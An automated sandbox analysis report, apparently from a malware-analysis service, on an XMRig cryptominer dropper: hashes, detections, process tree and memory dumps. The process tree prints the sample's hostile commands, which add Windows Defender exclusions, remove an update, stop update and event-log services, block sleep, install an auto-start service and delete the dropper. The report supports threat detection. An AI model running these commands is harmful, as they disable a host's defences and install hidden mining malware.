Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 19:57

General

  • Target

    ab8e4951cf27f783f942f9de6ea6bff0N.exe

  • Size

    5.4MB

  • MD5

    ab8e4951cf27f783f942f9de6ea6bff0

  • SHA1

    680808698f938c3b100832c9cf7b609d2e477401

  • SHA256

    84b648a44cb518cfb6a570ad58e3ba43af060795ffb81c42b47c373bbcdd9ec0

  • SHA512

    4d86772e9484fc618bfb39ff88c4a206a7721c1e47ac515a81202c22082f1d56a85983168e57c2b8e1a1ddb1d0823cd1ae56b58271f312e99fe260fa76327555

  • SSDEEP

    98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab8e4951cf27f783f942f9de6ea6bff0N.exe
    "C:\Users\Admin\AppData\Local\Temp\ab8e4951cf27f783f942f9de6ea6bff0N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2508
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4568
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3396
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:1720
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1812
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2804
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3944
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:4540
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2448
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4792
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:5004
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4720
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2772
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JVNIRHNX"
        2⤵
        • Launches sc.exe
        PID:4860
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:724
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:2396
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JVNIRHNX"
        2⤵
        • Launches sc.exe
        PID:3536
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\ab8e4951cf27f783f942f9de6ea6bff0N.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:208
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:64
      • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
        C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2120
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2192
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1744
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:1608
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:1176
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:3940
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:2788
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:1536
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:2780
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2452
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3848
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:428
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1180
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:972
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2124

          Network

                MITRE ATT&CK Enterprise v15

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                Downloads

                • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

                  Filesize

                  5.4MB

                  MD5

                  ab8e4951cf27f783f942f9de6ea6bff0

                  SHA1

                  680808698f938c3b100832c9cf7b609d2e477401

                  SHA256

                  84b648a44cb518cfb6a570ad58e3ba43af060795ffb81c42b47c373bbcdd9ec0

                  SHA512

                  4d86772e9484fc618bfb39ff88c4a206a7721c1e47ac515a81202c22082f1d56a85983168e57c2b8e1a1ddb1d0823cd1ae56b58271f312e99fe260fa76327555

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nsum5elv.ojh.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • memory/972-55-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/972-48-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/972-49-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/972-50-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/972-51-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/972-52-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/2124-59-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-65-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-73-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-72-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-71-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-69-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-56-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-67-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-57-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-63-0x0000025FBE000000-0x0000025FBE020000-memory.dmp

                  Filesize

                  128KB

                • memory/2124-60-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-62-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-61-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-58-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-64-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-68-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2124-66-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/2192-45-0x0000028078900000-0x000002807890A000-memory.dmp

                  Filesize

                  40KB

                • memory/2192-42-0x0000028078910000-0x000002807892A000-memory.dmp

                  Filesize

                  104KB

                • memory/2192-40-0x00000280788D0000-0x00000280788EC000-memory.dmp

                  Filesize

                  112KB

                • memory/2192-37-0x0000028076210000-0x000002807622C000-memory.dmp

                  Filesize

                  112KB

                • memory/2192-44-0x00000280788F0000-0x00000280788F6000-memory.dmp

                  Filesize

                  24KB

                • memory/2192-38-0x00000280786D0000-0x0000028078785000-memory.dmp

                  Filesize

                  724KB

                • memory/2192-39-0x0000028076200000-0x000002807620A000-memory.dmp

                  Filesize

                  40KB

                • memory/2192-41-0x0000028076230000-0x000002807623A000-memory.dmp

                  Filesize

                  40KB

                • memory/2192-43-0x0000028076240000-0x0000028076248000-memory.dmp

                  Filesize

                  32KB

                • memory/4568-15-0x00007FFD39770000-0x00007FFD3A231000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4568-10-0x0000011FF6CF0000-0x0000011FF6D12000-memory.dmp

                  Filesize

                  136KB

                • memory/4568-11-0x00007FFD39770000-0x00007FFD3A231000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4568-12-0x00007FFD39770000-0x00007FFD3A231000-memory.dmp

                  Filesize

                  10.8MB

                • memory/4568-0-0x00007FFD39773000-0x00007FFD39775000-memory.dmp

                  Filesize

                  8KB